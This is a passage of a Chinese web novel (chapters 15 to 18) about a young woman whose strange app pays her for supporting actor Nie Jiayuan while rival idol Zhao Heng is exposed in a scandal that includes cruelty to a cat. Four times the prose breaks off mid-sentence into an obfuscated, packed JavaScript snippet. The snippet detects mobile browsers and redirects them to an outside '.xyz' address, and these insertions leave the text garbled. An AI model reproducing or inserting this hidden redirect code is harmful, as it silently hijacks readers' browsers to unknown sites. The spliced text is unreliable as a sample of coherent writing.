“还有最后一句话送给花香娱乐，别再用虐粉那套来吸粉了，吸引来的全是疯子，一帮疯子围着的，能有什么好人？再见。再也不见。” 如果说之前的视频还只是导火索，这位经纪人的回应简直就如同核弹爆炸，不仅是赵恒，就连同在花香娱乐的周梓然微博也炸了，一堆人在下面问：“你不会跟那个赵恒一个德行吧？” 热搜上，花香娱乐和旗下的艺人们几乎霸榜。 很多人开始起底这家公司的背景，就连监控录像里提到的李总和王总也被各种深扒，赵恒的微博下更是彻底沦为主战场。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14958986|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >凌钰懒得再去看那些人扯皮骂战，转而重新进了聂嘉远的超话。 一片乱战中，在无人注意的角落，后援会又发了一条喜报，聂嘉远的杂志销售额已经达到了两千八百万，就要向三千万发起冲击了。 倒也有一些吃瓜群众发现了这奇妙的笑点，在下面评论。 【赵恒折腾了半天牙膏还没卖完，这边聂嘉远却快要登顶了。】 【别的不说，聂嘉远是真难杀啊，三年前所有人都以为他要一蹶不振了，结果人家就这么安安静静拍戏，现在居然又爬上来了。】 【所以说，演员还是更该好好打磨演技，而不是成天折腾这个折腾那个。】 孙致容倒是吃瓜属性不改，翻了一会儿热搜，忍不住吐槽：“虽然但是，这经纪人也是个滑头。” “怎么这么说？”凌钰抬起头，有点好奇。 “你看他说的这些话。他也知道现在是法治社会，还警告赵恒别去找他，可他在网上栽赃聂嘉远的时候怎么没想到现在是法治社会呢？既然承认了，真要态度够诚恳，他现在最该做的就不是跑路，而是自首好吗？” 那倒也是。 可看样子，这位却咬住其他人转移了视线，明显自保要紧。 网上的骂战看多了难免影响心情，狗咬狗也实在不值得太过关注，凌钰招手买了单，这才起身道：“出去转转吧，难得出门一趟，我们也去好好消费消费。” 孙致容顿时双眼发光：“你这是准备带我去见世面了吗？哈哈哈！咱要去消费什么，买些啥？” 凌钰想了想，看着自己一直要用，但却因为老破旧且内存严重不足而总是有些卡的手机道：“先去买个新手机吧，别的，咱们到时候去了再看。” 这么说着，凌钰倒是又想起一件事。 她低头打开【识人】app，点击咨询：“您好，请问我这到账的钱是合法合规的吧？三百万这个数一次性入账可不算少，会不会有人来查，到时候说我这是什么非法所得？” 对面秒回道：“宿主您好，检测到相关关键词，系统做出以下答复——” “宿主获得的所有1:1返现资金均已按照要求登记缴税，所获金额为税后收入，合法合规，请您放心，谢谢！” 凌钰又问：“那请问你这个app是一定要待在这个手机里吗？我一会儿可能会重新买个手机用。” 这一次，对面稍稍停顿了片刻才跳出信息：“宿主您好，系统将跟随您所使用的任意手机自动载入，系统已与您本人完全相连，更换手机不会丢失系统，请您放心，祝您生活愉快，谢谢！” 凌钰歪了一下头。 虽然这回答依旧人机感满满，但不知道为什么，她却愣是从字里行间看出了一点小小的情绪，对面不会觉得她在试探换手机会不会脱离系统控制吧？ 有些好笑地抿了抿嘴唇，这可真是想多了。 毕竟就眼下这三百万来看，如果没有系统，终其一生她也未必能挣到。至于命嘛，她大概和聂嘉远一样，也没那么好杀。 凌钰关了屏幕准备进电梯上楼，就听到身旁的孙致容忽然轻“啊”了一声：“又有人出来说话了，好像是放出监控的那人，你看看。” 15.第 15 章 这最新的视频到底没能立刻看到。 听到孙致容话的那一刻，凌钰就立刻打开了微博，然而画面却变得十分卡顿，等她再想去点视频看时，程序闪退，干脆彻底罢工了。 视频太长，真要看也得费些时间，凌钰没强求，索性先去买了手机再说。 倒是孙致容在旁边念念叨叨地感慨。 “乱，实在是乱，我觉得就他们这乱法，你还是悠着点用钱为好，”话虽如此，她扭头看到负一层的奶茶店，却又兴奋起来，“逛街不喝奶茶约等于没逛，我买杯奶茶先，你还喝热的？” 凌钰下意识就要拉住她：“我来买……” “诶！”孙致容连忙抬手制止，“别，知道你现在赚得多，但也不能总让你花钱，谁的钱也不是大风刮来的。多的我可能付不起，不过这奶茶嘛，哪怕它开在国贸，那也还是不成问题的，我先点单，咱们买完手机一会儿来取。” 凌钰没再跟她争。 国贸地处市中心，里面一到六层几乎都是顶奢，到七楼才有手机店。 既然如今已经身家百万，凌钰也就没再太过节约，直接买了个最大内存的顶配新款，把一些重要的聊天记录和图片数据导入之后，旧手机就算彻底没用了。 凌钰特意看了一眼，尚在工作人员手中操作时，新手机除了自带应用和新下载的程序之外，并没有别的东西。但才刚一交到她的手里，那个不知从何处冒出来的【识人】app就又晃晃悠悠占据了屏幕首页的中间位置。 打开微博，还没来得及登陆账号，就看到之前孙致容说的那个视频挂在首页。 是个还挺漂亮的女生。 “大家好，我是赵恒的女朋友——应该说，从我决定把监控录像放出来的那一刻起，我就已经是他的前女友了。” “我跟赵恒在一起七年，做了七年没有姓名的影子，他在粉丝面前立单身人设，温柔怯懦，总是一副很容易被人欺负的可怜样，谁能想到在镜头之后，他是这么暴躁狂妄和自以为是？” “实话告诉你们吧，你们眼中这位被资本打压，没有背景全靠自己，身后只有你们的哥哥，后台比你们想象的要硬得多，否则你们以为花香娱乐疯了？明知他数据造假挣不到钱，却还一心一意非要捧他？” “我曾经觉得，他毕竟已经是明星，又还年轻，为了支持他的梦想，受点委屈也没什么大不了。可我没想到，他会越来越夸张，越来越变本加厉。” “这些年，公司内部倾轧抢资源，对外到处树敌，我都看在眼里。除了聂嘉远，其实还有好几位曾经被他利用过的，比如他之前那部剧的女主钱菲儿，人家根本对他没意思，他却故意表现得模凌两可，害得大批粉丝疯了一样辱骂对方。” “总之还有很多事，我就不一一赘述了，最重要的是这一次，我不过是帮你的经纪人拉住了你，你就真的找了十个男人来堵我！” “做了你七年的女朋友，你就是这么对我的？” 画面中的女生声泪俱下，但很快就收拾好了表情，擦干了泪水：“我已经报了警，警察也已经取证完毕。一起生活了这么久，多亏你从来不关心我，所以不知道之前因为养了猫，我在客厅装了监控。” “对了，还有我的猫。就因为讨厌它掉毛，你就对它拳打脚踢，被它反抗挠破了皮，你恼羞成怒，居然拔了它的爪子，将它活生生淹死了。” “你这样的人别说做偶像，你根本连人都不配做，我只恨自己瞎了眼！我现在不要别的，只要送你进去。你不是想红吗？前两天林业塌房的时候你不是还羡慕他霸榜吗？这次就让你红个够！” 凌钰是随手点的热一榜首，并不是当事人发的原博，下面的评论都乱成了一锅粥，可想而知最开始的视频下会是什么惊人的场景。 登陆自己【我来追星了】的账号，一堆私信评论和点赞。 凌钰暂时没细看，而是返回去看热搜榜。 短短几十分钟，榜单又爆了—— #赵恒塌房# #赵恒虐猫# #赵恒十个男人# #赵恒滚出娱乐圈# 而某个雷打不动的词条则再次上榜：#内娱完了#…… 凌钰一时间哭笑不得，既觉得现在这风气的确不佳到极致，又觉得内娱隔三差五就完，结果还如此□□，可见百足之虫死而不僵，稍微努努力，约莫还是能再抢救一下的。 再往后看，#聂嘉远杂志销售额#的话题又默默地吊车尾爬了上来。 后援会两分钟前发的微博，根据官方统计提供的数据，聂嘉远目前的杂志预售销售额已经突破三千万，超过了墨之染先前保持多年的第一名。 不过考虑到可能有人在最后关头恶意退单，不少人还是在继续加码，超话里忙前忙后，全都在搞活动铺摊子，根本无人在意娱乐圈又有了新一轮的大地震，倒是成了难得的世外桃源。 有吃瓜路人都没忍住好奇—— 【聂嘉远的粉丝啥情况？也太岁月静好了，赵恒那边都炸了，而且好几个声明都提到了聂嘉远，怎么他粉丝一点反应都没有？】 【几个视频我都看了，总结来说聂嘉远根本就是无辜的，花香娱乐从上到下从里到外全体都是疯子，聂嘉远无妄之灾被纠缠了三年，被爆私人信息，有家不能回，赵恒转头还要再要污蔑人家自导自演，简直一群癫公。】 【聂嘉远粉丝不语，只是一味买杂志……】 凌钰看得好笑，虽没有再发帖，却心情颇佳，边和孙致容周哥进了电梯边道：“先去把奶茶拿了，咱们也去奢侈品店里转转。” 别的不说，至少目前她的正主又稳了。 聂嘉远稳了，她的钱和命也就相对应的稳了。 负一层的奶茶店异常忙碌，又等了两三分钟，奶茶才终于到手。 三个人穿着普通，人手一杯奶茶，与周围西装革履的精英和妆容精致的富婆们形成鲜明对比，怎么看怎么不像该在国贸里消费的模样。 好在奢侈品店里的销售也并不全用鼻孔看人，凌钰带着孙致容和周哥刘姥姥进大观园似的随便逛了几家店，倒也得到了一些耐心的回答。 口袋有钱，心中不慌。 而她身后的两位则愣是走出了一种狐假虎威的步伐，直到又从一家一个小包开口就要六万的店里出来，孙致容挣扎许久，终于还是压低声音道：“不划算，真不划算，像这么个买法，三百万也经不住花。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965541|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>凌钰点头，非常赞成：“与其买包，不如买金，与其买金，不如买房。” 要是摆在从前，这其实也不过一句戏言，但现在嘛，她想了想：“买房的话说实话还差了点钱，来都来了，不然咱们现在就先去买金。” 国贸三楼有一家古法黄金铺，本来按凌钰的想法，要是真有合适的，买完就可以走了。 只是她刚挑完一条手链，正在让导购再拿出一款挂件试戴，就听到身后传来说话的声音。 “真不知道这赵恒是什么毛病，好好的非把人惹毛了干什么，要不是做得太绝，他那女朋友也不至于曝光他。现在倒好，他塌房了不说，还顺便帮聂嘉远洗白了，咱俩今天还在凌钰那里说我们是恒星……” “就是，这不纯纯打脸吗？真是想不明白。不过话说回来，苍蝇不叮无缝的蛋，他那女朋友估计也不是啥好东西，被十个男人围堵，真亏她说得出口。” 又是陈桦和张小洁。 这两人的心情明显不大好。 “还有他那个经纪人，也不是什么好东西，曝光聂嘉远信息的就是他，跟赵恒有什么关系？他一个艺人，还能去管公司具体决策？不还是他们自作主张？” “但更恶心还是他女朋友，说是女朋友，其实搞不好就是个没名没份的床上工具，还说什么十个男人，说了这些曝光了赵恒，她就有脸了？以后人人都知道她曾经被……” 两人说着，有些诡异地笑了笑，没再继续，而是转移了话题：“诶，这挂件真是好看，可惜就是贵了点，才十克，就得要两万。” 一旁的导购自动屏蔽了八卦，直至听到这话，才笑着开口。 “您好，这款挂件有更轻一点的，质感也很好，同样都是纯手工制作，售价大概在一万六左右，需要的话可以拿给您看看。这款因为是镂空工艺，因此大小相差不太多，展示的这款十克，这位顾客身上戴着的是十五克。” 导购抬手示意了一下凌钰，又道：“您可以先看一下比例，我这边去替您……” 剩下的那个“取”字还没出口，两人就已经惊叫出声：“凌钰？怎么又是你！” 这话应该她来问才对吧。 凌钰有些无奈，索性不回答了，而是照了照镜子，将挂件解开递还给了导购：“不好意思，麻烦了，我再看看别的。” 这款葫芦造型复杂，镂空极多，摆着看时觉得还行，可真正戴着之后，凌钰却担心容易被自己给压扁了。视线落在另一款花纹更加简单的实心无饰牌上，正要说话，陈桦就先开了口。 “哟，买不起？凌钰，别装了。” 店里的人不算多，但也不少，她又没有刻意压低声音，顿时吸引了众多目光。 眼见得所有人的注意力都已集中，陈桦更显神气：“我刚刚就已经让我爸查过了，你根本就没能再找到工作，之前那三百万，假的吧？” 她哈哈一笑：“没钱居然还敢到金铺里面来装有钱人，买不起还非要试，脸打肿了充胖子，有意思吗？要我说，你要真想见世面，可以先去负一楼看看，你手上的奶茶就很符合你的气质啊。” “融不进的圈子没必要硬融，在这里浪费人家导购的时间，你把这儿当菜市场呢？” 16.第 16 章 “就是！”张小洁又在附和。 陈桦的视线落在凌钰身后的孙致容和周哥身上，越发来了劲：“你们居然还跟着她，不知道这人其实是个骗子吗？还是说，你们其实知道，之前在大丰门口的时候，就是陪着她帮她演戏？” 她砸了砸嘴，边摇头晃脑边围着眼前的三人转了一圈。 “也是，都是一副穷酸样，土包子，物以类聚人以群分，难怪你们能走到一起，都是一样的，”她咬牙切齿，一个字一个字地道，“便宜货。” 张小洁在旁点头：“就是！” 这话实在难听，孙致容开口就要骂人，被凌钰连忙拉住了。 真要吵起来，必然要翻天，国贸一年到头都未必有这么大的乐子，到时候万一被哪个无聊的人发到网上，这两人不要脸，她自己也无所谓，可孙致容的公司情况特殊，她妈又太强势，少不得要被骂。 凌钰上下打量了一番趾高气昂的陈桦和又在做复读机的张小洁，神色一言难尽。 她稍稍清了下嗓子，把孙致容拉到了身后。 “首先，人以食为天，菜市场没惹任何人，其次，你们知道你俩现在看上去像什么吗？特像那种经常在小说里电视上看到的炮灰反派。” “我有没有钱，会不会买，人家导购都没说话，你一张小嘴在这叭叭什么呢？”凌钰说着，忽然笑了笑，“你这么能叭叭，要不你来买？”又看向张小洁，“或者应声虫，你来买？” 两人脸色顿时极其精彩。 没再理会对方的反应，凌钰转过头去让导购拿出了旁边看上的无饰牌。 说是“无饰”，其实在牌子的最上方还是雕刻了一些祥云图案的，祥云之下则全是平面，一点装饰都无，谐音寓意平安无事，祥和美满——与凌钰当下的追求十分吻合。 试戴之后，她没再犹豫。 付款开票一气呵成，而后在导购满面春风的“欢迎您下次再来”声中，带着孙致容和周哥转身离去。 走到门口时，孙致容实在没能忍住，刻意卷起袖子高举右手道：“啊呀，凌钰你看你就是客气，居然还送了条手链给我，怎么刚才骂咱们的那两位还在那看着，她们怎么还不买？是不喜欢吗？” 凌钰回头看了一眼。 陈桦和张小洁满脸涨红，似乎十分挣扎，但最终还是互相拉扯跑了。 三人心情很好地出了国贸，干脆又去老街玩了一圈，因为中午吃得够饱，中途还喝了奶茶，直到晚上都不觉得饿。凌钰提议买了点小吃，又去看了场电影才准备回家。 直到上了地铁，孙致容还意犹未尽着叹息：“今天真是爽，可惜明天又是要上班的一天，哎，不想上班啊！” 才短短一个月不到，凌钰已经渐渐习惯了自己自由人的身份，闻言一乐：“加油！我就不陪你早起了！我也加油，争取有一天能让你也不上班！” “好！”孙致容哈哈笑着，“要是有一天真能不上班，我就给做你助理，天天帮你打扫卫生，拎包做饭，再让周哥做我俩保镖和司机，这样一说还差辆车，争取能再合买个大房子，到时候一起吃一起住，一起出去玩！” 凌钰看着她因为车厢里太热而变得红彤彤的脸，点头道：“好啊。” * 累了一天，凌钰到家后先洗了个热水澡，才有工夫再看去微博。 热搜上的赵恒仍在霸榜，他的背后人物也差不多被扒了个干净，花香娱乐虽然连发了三条声明，但效果明显不怎么样，除了旗下艺人，就连他们老总的名字也挂在榜上，下面骂声一片。 倒是聂嘉远的杂志销售额又有了新突破，居然已经奔着三千五百万去了。 数据仍在增长，虽说最后还有可能有人恶意退单，24小时倒计时结束前一切都尚未确定，但就现在的这个金额来说，也已经是内娱众多流量一辈子都难以企及的高度了。 不过，这卖得也的确太好了，凌钰有些疑惑地挠了挠头。 聂嘉远有这么多粉丝吗？要知道秒切的三百七十万里，可是她自己一个人就占了三百万的大头。 点进超话里又逛了一圈，她这才发现端倪。 难怪卖这么好—— 除了家园们本来就卯足了劲要用足够的销售额证明聂嘉远值得，不少路人和别家粉丝竟也前来助力，超话里显得格外热闹。 【只是单纯讨厌赵恒，我也不买多，就买个一套吧，刚好留着自己看看。】 【我算是聂嘉远的愧疚粉，当初李欣的事我没站在他这边，这回赵恒的事我又听信了他的谗言，连我妈知道了都在骂我，觉得我以后可能会被渣男包围，救命！我的眼光怎么会差成这样啊，我买十套，花钱买个教训，永远提醒自己！】 【周梓然粉丝路过，实话实说，我家粉圈是有问题，所以我之前除了做数据，根本不看微博，结果这回赵恒塌了，周梓然又跟着倒霉。想想之前一起上综艺，聂嘉远还帮过我家然然呢，买十套意思一下吧。】 【我就是单纯来看看被赵恒追着打了三年的究竟是谁，结果发现长得还错，既然卖杂志，我就也来买一本吧。】 【开心，有一种自己讨厌的人终于被大家发现了的感觉，刚好最近在看《凤凰记》，支持聂嘉远！希望将来他能多拍好剧，有更好的剧本，顺便赵恒滚出娱乐圈！哈哈哈！】 再往下翻，还有好多竟是原先的恒星脱粉回踩。 【老娘谁什么很贱的人吗？一口气买了二十套牙膏很便宜吗？老娘赚钱很容易吗？妈的！粉丝在拼命给他艹销量，他居然藏了个嫂子七年，这也就算了，居然还找人对付自己女人。我真吐了，牙膏全退了，用来买杂志。】 【脱粉了，回想起来感觉自己喜欢赵恒的日子像被人洗脑了，就是觉得他惨，觉得所有人都在害他，谁知道惨的人是我自己，真是晦气！】 【花香娱乐完了，我选择支持聂嘉远。】 凌钰叹了口气，路人和别家粉丝先不提，这帮脱粉的恒星此刻却大概率是冲动消费，如果到明天下午两点半前能不退款当然最好，要是退， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14969468|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也只能说情有可原意料之中。 毕竟有一点凌钰还是了解的。 赵恒的商务为什么总是上不去，很大程度就是因为他的粉丝被教得有些奇怪。 至少她了解到的，不少人明明手头紧，却因为要表面的数据好看，于是会先下单，晒图之后又退款，看上去花团锦簇，其实连正经的交易都没有完成，实际的销售量自然很差，品牌方也很不满。 她们现在到处发帖说花了钱，真假难辨是一方面，另一方面也还要看会不会故技重施。 没有人会把身家性命交到对家手里。 家园们显然也心中有数，并不过分评价，只一味的转发插旗活动，准备等到明天下午两点半之前，看情况加码。 又刷了一会儿帖子，凌钰才想起来自己还有一堆私信和评论还没看。 点进后台，一个熟悉的账号已经被众多私信压到了最下方，是今天下午四点左右就已经发来的消息，她竟到这会儿才看到。 “@聂嘉远官方后援会：姐妹在不？” “@聂嘉远官方后援会：11月5日下午3点，嘉远在T市国贸有一个活动，是最新代言的服装品牌宣传见面会，我这边给您留了一张票，如果您能来参加的话私信我一下哦，到时候我们会有人在现场和您对接。” “@聂嘉远官方后援会：票量有限，看到消息务必回复哦！” 现在都快晚上十一点了！ 凌钰连忙编辑内容发送：“好啊好啊，不好意思啊才看到你的消息，我刚好就在T市，应该没回复得太迟吧？” 对面很快回了个表情包：“[哈哈]” 又发了一串数字：“不迟不迟，不过现在情况有变，不需要门票了，您先记一下这个号码。” “这次品牌方本来是准备直接在店里搞活动的，商场担心人流量太大可能会有安全隐患，只允许我们私下通知，但刚刚接到最新消息，地址临时换到国贸顶层的大礼堂了。” “我们到时会提前一天在超话发预告，大家只要有时间的话都可以免费参与。不过您是特别邀请的嘉宾，我们会在第一排给您留好位置，您到国贸之后直接打电话说您是【我来追星了】就好。” 国贸顶层的确有家大礼堂，市里跨年晚会还曾在那里办过，但具体多大究竟能容纳多少人，凌钰并没有特别关心过。 不过这些都不重要，视线聚焦，她的注意力只落在了“第一排”这三个大字上，连忙回复“ok”，保存好对方的手机号。 云追星这么久，她居然也要线下见真人了。 凌钰心满意足地晃了晃脚丫子，这才发现就在下午，还有一条手机短信也被她看漏了，正是她原公司发来的本月工资和人事正式的辞退信息。 对比起银行卡里已有的三百万，她十月份的工资满打满算加起来才三千多一点点！ 极与极的对比，让凌钰下意识爬起来又一次跪在了床上，对天对地对着四面八方的神明虔诚祈祷：“希望聂嘉远永不塌房！求求了！” 17.第 17 章 聂嘉远杂志预售24小时的销售额最终停在了惊人的3725万，刷新记录的同时，也给内娱带来了一点小小的震撼。 有人诧异他是不是真有这么多粉丝，但真金白银之下，谁也不能说他还如从前一样毫不起眼。 至少就目前看来，圈子里那些所谓顶流，也的确卖不出这么夸张的数字。 虽说这其中也有赵恒事件的助力，但那毕竟只占了一小部分，更多则是因为有效播剧而拥有的庞大路人盘，和数量极多的活粉氪金粉。 即便死忠粉不如某些早已跻身次顶的偶像多，商业价值也变得不可估量。 大约也是看到了这略显离谱的消费力，聂嘉远见面会开始的前一天，除了后援会和工作室提前发了预告，就连国贸的官博都难得转发，并表示除了最顶层的礼堂，将连外围的广场也一同对外开放。 算是给足了排面。 凌钰提前约了孙致容和周哥，准备当天中午先在国贸那家口味不错评价很高，价格也很高的牛排店吃完饭，再直接去现场。 吃饱喝足，结账的时候孙致容又被价格吓了一跳。 虽然是凌钰请客，但她却像花了自己的钱一样肉疼。 “三个人点了两份套餐居然还要八千块，所以说国贸这地方我一年都不一定来一回，这里面这么多家店，我之前就吃过一次大丰。现在也是好起来了，短短一周，居然又吃上了。” 她摸了摸圆鼓鼓的肚皮：“幸好马上这活动不要钱，今天我必须要把你花的这些钱都在看明星上看回来，也不枉咱们为了看他在这儿消费了这么多。” “钱啊，全都是小钱钱啊！” 孙致容摇头晃脑地感慨，一转眼就看到凌钰的表情也有些凝重，不由吓了一跳。 “咋了，出啥事了？”她压低了声音凑到跟前问，“不会是钱不够吧，说真的谁能想到两份牛排要八千，就算它还送了别的小食，那也太夸张了。没关系没关系，咱俩凑一凑，我这儿多的没有，小几千还是没问题的……” 她说罢就要去掏手机转账，却被凌钰抬手止住了。 付账并不是问题，问题是她刚刚吃饭时粗略算了算，之前正常任务和两次临时任务附赠的寿命，好像差不多要用完了。 只是这个数据系统并没有准确设定倒计时，她自己数学又不大好…… 凌钰看向手机，【识人】app正十分安静地躺在屏幕中间，看上去人畜无害。 孙致容“啊呀”了一声：“吓我一跳，不是钱不够你眉头皱成这样干嘛？不会是担心人太多一会儿进去没座位吧？没事啊，你反正坐在最前面，我和周哥又无所谓的。” 难得的休息日，又有明星来搞活动，国贸里显得格外热闹。 虽说后援会只给凌钰留了一个前排位置，但她反正也不追星，主打就是陪伴，再顺便凑个热闹要个氛围值回饭价，只要能进去，能免费见到活的明星，哪怕从头站到尾也不是问题。 至于周哥，完全就是个人形挂件，可以忽略不计。 倒是刚才凌钰的那一愣神给她的刺激比较大，孙致容十分不舍，忍不住絮叨：“下次咱们如果还有什么活动，还是在别的地方吃完再来，不是说不能花钱，而是总这么花实在有点遭不住。再说，我和周哥也不能总吃你的……” “这就见外了吧？”话未说完，就被凌钰抬手捏了捏她肉嘟嘟的脸，“上高中那会儿，我可是天天都吃你的。” 两人打打闹闹，凌钰内心那点仅剩的担忧也很快被抛到了脑后。 不过这钱嘛，却是不花白不花。 按照系统所说，她投资的正主如果塌房，不仅附赠寿命余额将大大减少，还会背负巨额债务。那按照正常的思维居安思危，似乎的确要格外注意，能省则省，以防万一。 可要是换种角度去考虑，是不是也可以表示为—— 只要活着，她就会有钱。 因为如果哪天她投资失败，系统发布新的任务，那些被扣除的寿命和钱就都可以再赚。而假如系统不再发布新任务彻底放弃了她，她活都活不成了，还担心倒欠系统钱干什么？ 与其没苦硬吃，不如提高提高生活质量，让当下的自己和身边的朋友能活得更舒坦点。 * 作为国内数一数二的高奢综合商场，国贸里这种明星站台活动其实并不少见。 只是考虑到安全问题，又有场地限制，参与者范围大多比较固定，有时是艺人团队和粉丝内部商议，有时是品牌方根据客户消费额确定，消息也不会提前往外放。 像聂嘉远这样不设门槛，甚至租用了顶层礼堂的，至少凌钰之前没听说过。 难得有这样的机会，孙致容觉得十分新鲜，跟去看电影似的，嘴上说着花钱心疼，却还是特意又去负一楼买了奶茶，就差买盒爆米花了。 三人晃晃悠悠，与那些行色匆匆，头上身上带了一堆应援物的粉丝形成鲜明对比。 顶层的礼堂门外已经满是品牌方铺的地广，还有后援会早早架起来的易拉宝和展架，人山人海，就连外面平台的广场上也密密麻麻。也就是这边地方够大，否则恐怕还真会被叫停活动。 凌钰默默地喝了一大口奶茶。 虽然氪金的事没少干，甚至在同担中也算拥有姓名，但她平时不做数据，不混粉圈，不加粉群，因此手幅海报灯牌和周边挂件，她一样都没有，显得属性非常不明确。 有路过的家园看到他们，实在好奇：“姐妹，你们是来看热闹的吗？” 孙致容和周哥毫无心理负担地回答：“是啊。” 凌钰则愣了片刻，不太确定：“算是？” “那你们可算来着了！”对方没太在意这略显不同的回答，只立刻开心地安利，“这个礼堂大，估计容纳上万人都不是问题，你们可以先去那边排队等进场，如果有需要的话我这儿还有免费的灯牌可以借哦。” 她晃了晃手上拿着的灯牌：“不用押金，只要到时候进去能帮忙亮起来给嘉远看到就行，结束的时候我还在这里，到时候还给我就好。” 孙致容不追星，有点奇怪地问：“不要押金，你不怕我们借了不还吗？” “不至于吧……” 那家园呆了一下：“如果你是同担，就算借了不还，之后也还是会举给聂嘉远看，只是我会默默唾弃这种行为，如果你不是同担，把灯牌拿走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14984839|160235||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对你来说也没什么用啊！这个是强光蓝，半夜想要当灯用都不行，不仅刺眼，还怪吓人的。” 一句话说得孙致容哈哈大笑，抱着凌钰一顿摇：“你们家园都这么搞笑吗？” “我们不搞笑啊，”小姑娘被她这反应弄得有点脸红，但很快回过神，瞪大了眼睛看向凌钰，“啊呀，姐姐是同担啊！那你拿一个呗！” 凌钰却有些迟疑。 虽然不知道礼堂里现在是什么样，但被安排坐在第一排，离台上估计很近，她之前追林业时也买过灯牌，看着简简单单小小的一个，其实却特别亮，眼前这位手上拿着的，比她从前拥有的可大多了，她有点担心会闪到聂嘉远的眼睛。 但对方却已经格外热情地直接把东西塞进了她怀里：“啊呀，姐姐不用不好意思，你想想，灯牌一亮你多显眼，搞不好还能跟嘉远对视上呢！” 孙致容也一把拉过她：“对对，拿着走啊，快点儿吧人越来越多了，你反正是没问题，我一会儿还得进去抢位置呢。” 直到排队进了门，凌钰才手忙脚乱给之前存的号码打了个电话。 接电话的也是个粉丝，自称是数据组皮下，一路领着她在最前排坐好，又去忙着接别人了。 凌钰转过头往回看，诺大的礼堂几乎坐得满满当当，看不出来究竟有多少人，但这上中下整整三层的座位却十分震撼，孙致容和周哥进来之后随着人流不知道去了哪儿，她实在找不着人，干脆扭转回来，靠在椅背上休息。 中午吃得饱，又没午睡，此刻周围吵吵嚷嚷，暖气开得也足，困意顿时上涌。 凌钰昏昏沉沉的，也不知道自己睡着了没，总之等再睁开双眼时，她的两边都坐满了人，之前那位数据组的管理正笑嘻嘻地看着她：“你要是再不醒，我都准备要把你喊醒了，嘉远已经在后场准备，就快出来了。” 说快出来，还真是快。凌钰迷迷瞪瞪，自觉意识好不容易回笼，就听到台上的主持人大喊一声：“让我们用热烈的掌声和尖叫声，欢迎代言人，聂嘉远！” 身后传来山呼海啸般的尖叫。 伴随着节奏强烈的音乐，一个身着天蓝色上衣，白色长裤的人，自后台走向了舞台中央。 线上追星这么久，凌钰还是头一次见到聂嘉远本人。 好高！ 这是凌钰的第一印象，第二反应则是，他的皮肤也太好了。 因为靠得近，能看到他妆感并不明显，但却整个人白到发光，让人的视线轻而易举便全部拉到了他的身上。 难怪以前别人总说，演员和爱豆是有壁的。即便聂嘉远并不是科班出身，可他出道就是演员，比起需要靠造型妆容塑造氛围感的某些人，这张脸实在立体饱满而端正，是先天的优势。 台上，主持人情绪饱满地宣传了一番品牌故事，又让聂嘉远跟大家打了招呼，开始了今天的第一轮互动。 凌钰下意识想起自己手中的灯牌。 刚刚瞌睡，都没来得及试一下。这么想着，她本能打开了按钮—— 下一秒，一道夺目的蓝光瞬间亮起，她听到主持人的声音喊道：“就第一排这位举着灯牌的女生，来，请您上台。” 18.第 18 章 什么东西？ 谁？ 被刺眼的灯光吓了一跳的凌钰一时没反应过来，也跟着众人的视线左右乱看，主持人的声音却再次响起。 “对，就是第一排这位拿着灯牌的女生，别看别人啦，就是您。您刚才这灯牌打开可真亮，嘉远在我旁边都发出了惊叹，说让选您呢！” 周围哄堂大笑。 凌钰扭过头看向台上，又往两边打量了一番，最后终于还是不确定地用手指了指自己，问：“我？” 上面两人笑着点头，身边的数据组皮下更是乐呵呵地不停推她：“快上去啊，姐妹你这灯牌亮的可真是时候，早知道我也带个大灯牌来了，快快，这种能和偶像近距离接触的机会可不多，加油！” 虽然是被邀请的粉丝，但凌钰其实一直没什么实感。 于她而言，坐得近只是视角好看得清，却并不代表互动会被选中。毕竟品牌粉丝见面会，要的是和所有人同乐，一般不会再选第一排的人——你已经拥有了与别人不同的待遇，怎么也得让其他人有点参与感，何必再占这便宜？ 因此直到在催促声中上了台，凌钰都还有点懵，连灯牌都没来得及关。 